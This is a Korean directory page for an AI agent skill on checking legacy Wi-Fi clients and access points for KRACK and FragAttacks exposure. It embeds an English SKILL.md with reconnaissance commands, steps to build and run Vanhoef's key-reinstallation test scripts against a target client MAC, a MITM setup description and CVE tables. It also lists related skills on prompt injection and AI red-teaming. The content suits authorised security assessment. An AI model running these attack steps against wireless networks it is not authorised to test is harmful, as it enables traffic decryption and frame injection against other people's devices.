krack-fragattacks
하는 일
KRACK과 FragAttacks라는 두 가지 알려진 Wi-Fi 취약점 계열에 오래된 클라이언트와 액세스 포인트가 노출되어 있는지 판단하는 방법을 설명합니다. 관리하는 레거시 또는 내장형 무선 기기를 평가하는 보안 팀을 위한 스킬입니다.
사용하는 경우
- ✓IT 팀이 오래된 라우터나 산업용 Wi-Fi 브리지를 가지고 있고 여전히 노출되어 있는지 알고 싶을 때.
- ✓보안 검토자가 업데이트된 기기에 알려진 Wi-Fi 수정 사항이 적용되어 있는지 확인해야 할 때.
- ✓내장형 기기 제조사가 오래된 펌웨어를 이 취약점에 비추어 점검하려 할 때.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/wireless/krack-fragattacks/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“우리가 쓰는 오래된 Wi-Fi 브리지가 아직 KRACK이나 FragAttacks 취약점에 노출되어 있나요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
스킬은 AI에게 먼저 기기의 펌웨어나 소프트웨어 버전을 패치 목록과 비교하도록 안내합니다. 패치되지 않은 오래된 기기만 승인된 추가 검토 대상으로 고려합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
KRACK + FragAttacks
Viability gate: Both vulnerability families are largely mitigated on patched stacks. Modern Linux kernel ≥ 5.7, Android ≥ 10 (November 2017 patch), Windows ≥ October 2017, iOS ≥ 11.1, macOS ≥ High Sierra 10.13.1, and hostapd/wpa_supplicant ≥ 2.9 are all patched. Read this section before spending engagement time. Viable targets: unpatched embedded routers, ISP CPE, industrial Wi-Fi adapters, OT/ICS wireless bridges, legacy Android (≤ 9), custom RTOS supplicants, IoT sensors with frozen firmware.
Scope-viability assessment (run before any active test)
# 1. Identify the target supplicant / AP firmware version
# From passive beacons:
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w /tmp/krack_recon \
--output-format pcap <mon-iface>
tshark -r /tmp/krack_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
-T fields -e wlan.ssid -e wlan_mgt.vendor.data 2>/dev/null | head
# 2. Identify vendor/OUI from BSSID
echo "<BSSID>" | cut -d: -f1-3 | tr -d ':' | \
grep -i -f - /usr/share/ieee-data/oui.txt 2>/dev/null || \
curl -s "https://api.maclookup.app/v2/macs/<first_6_hex>" 2>/dev/null
# 3. Cross-reference vendor/firmware against KRACK/FragAttacks patch matrix
# Key rule of thumb:
# - wpa_supplicant build date before 2017-10 → KRACK likely
# - Custom RTOS / bare-metal 802.11 MAC → FragAttacks design flaws highly likely
# - Linux kernel < 4.14 → KRACK 4-way impl flaw possible
# - iOS < 11.1, Android < 8.0 → KRACK, check CVE-2017-13080 group key
KRACK Family (CVE-2017-13077..13082)
How it works
During the 4-way handshake (or group-key/FT/PeerLink handshake), the authenticator can retransmit Msg3 (or Msg1 for group key). A vulnerable supplicant reinstalls the PTK/GTK, resetting the TKIP MIC counter or CCMP nonce to a previously-used value. Nonce reuse under AES-CCMP allows decryption and in some modes injection.
Vanhoef krackattacks test scripts
# Clone the test framework
git clone https://github.com/vanhoej/krackattacks-scripts.git
cd krackattacks-scripts
# Install dependencies
pip3 install -r requirements.txt
sudo apt-get install -y libnl-3-dev libnl-genl-3-dev
# Build the modified hostapd
cd hostapd && cp defconfig .config && make -j4 && cd ..
# Test 4-way handshake key reinstallation (PTK-TKIP or PTK-CCMP)
# The script acts as an AP, manipulates the handshake, and confirms
# nonce reuse in the supplicant's TX frames.
sudo python3 krack-test-client.py \
--interface <iface> \
--target-mac <CLIENT_MAC>
# Test group key reinstallation (GTK, CVE-2017-13080)
sudo python3 krack-test-client.py \
--interface <iface> \
--target-mac <CLIENT_MAC> \
--group-key-test
Channel-based MITM setup for KRACK
# KRACK requires MITM position between client and AP.
# Standard setup: clone the AP on a different channel, relay frames.
# The krackattacks-scripts handle this internally via the modified
# hostapd (acts as both client to real AP and AP to victim client).
# Confirm nonce reuse from captured frames:
tshark -r /tmp/krack_capture.pcap -Y "wlan.ccmp.extiv" \
-T fields -e wlan.sa -e wlan.ccmp.extiv 2>/dev/null | \
awk '{seen[$1][$2]++; if (seen[$1][$2]>1) print "NONCE REUSE:", $0}'
CVE map for KRACK
| CVE | Target | Condition |
|---|---|---|
| CVE-2017-13077 | Reinstallation of PTK-TK during 4-way | wpa_supplicant / Android |
| CVE-2017-13078 | Reinstallation of GTK during 4-way | wpa_supplicant |
| CVE-2017-13079 | Reinstallation of IGTK during 4-way | wpa_supplicant |
| CVE-2017-13080 | Reinstallation of GTK during group-key handshake | All major platforms |
| CVE-2017-13081 | Reinstallation of IGTK during group-key | wpa_supplicant |
| CVE-2017-13082 | PTK reinstall on FT reassociation (BeAP) | hostapd/APs with 802.11r |
FragAttacks Family (CVE-2020-24586..26147)
FragAttacks cover three distinct flaw categories across 802.11 from 1997 to 2020-era implementations. Design flaws affect virtually all clients; implementation flaws vary.
Flaw categories
| Category | CVEs | Description |
|---|---|---|
| Aggregation design | CVE-2020-24588 | Non-SPP A-MSDU flag not checked; allows injection of aggregated frames |
| Mixed-key attack | CVE-2020-24587 | Fragments from different keys can be reassembled |
| Fragment cache | CVE-2020-24586 | Fragments not flushed on reconnect; stale fragment injection |
| Implementation: plaintext inject | CVE-2020-26140, 26143 | AP/client accepts |
자주 묻는 질문
KRACK과 FragAttacks는 무엇인가요?
암호화 키 처리와 패킷 단편화에 관련된, 이름이 붙은 Wi-Fi 취약점 계열입니다.
왜 버전을 먼저 확인하나요?
대부분의 최신 기기는 패치되어 있어서, 버전을 먼저 확인하면 시간을 절약할 수 있습니다.
Wi-Fi만 다루나요?
802.11 Wi-Fi 기기를 다룹니다.
상세 정보
작성자의 원본 설명
KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation/aggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14183
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.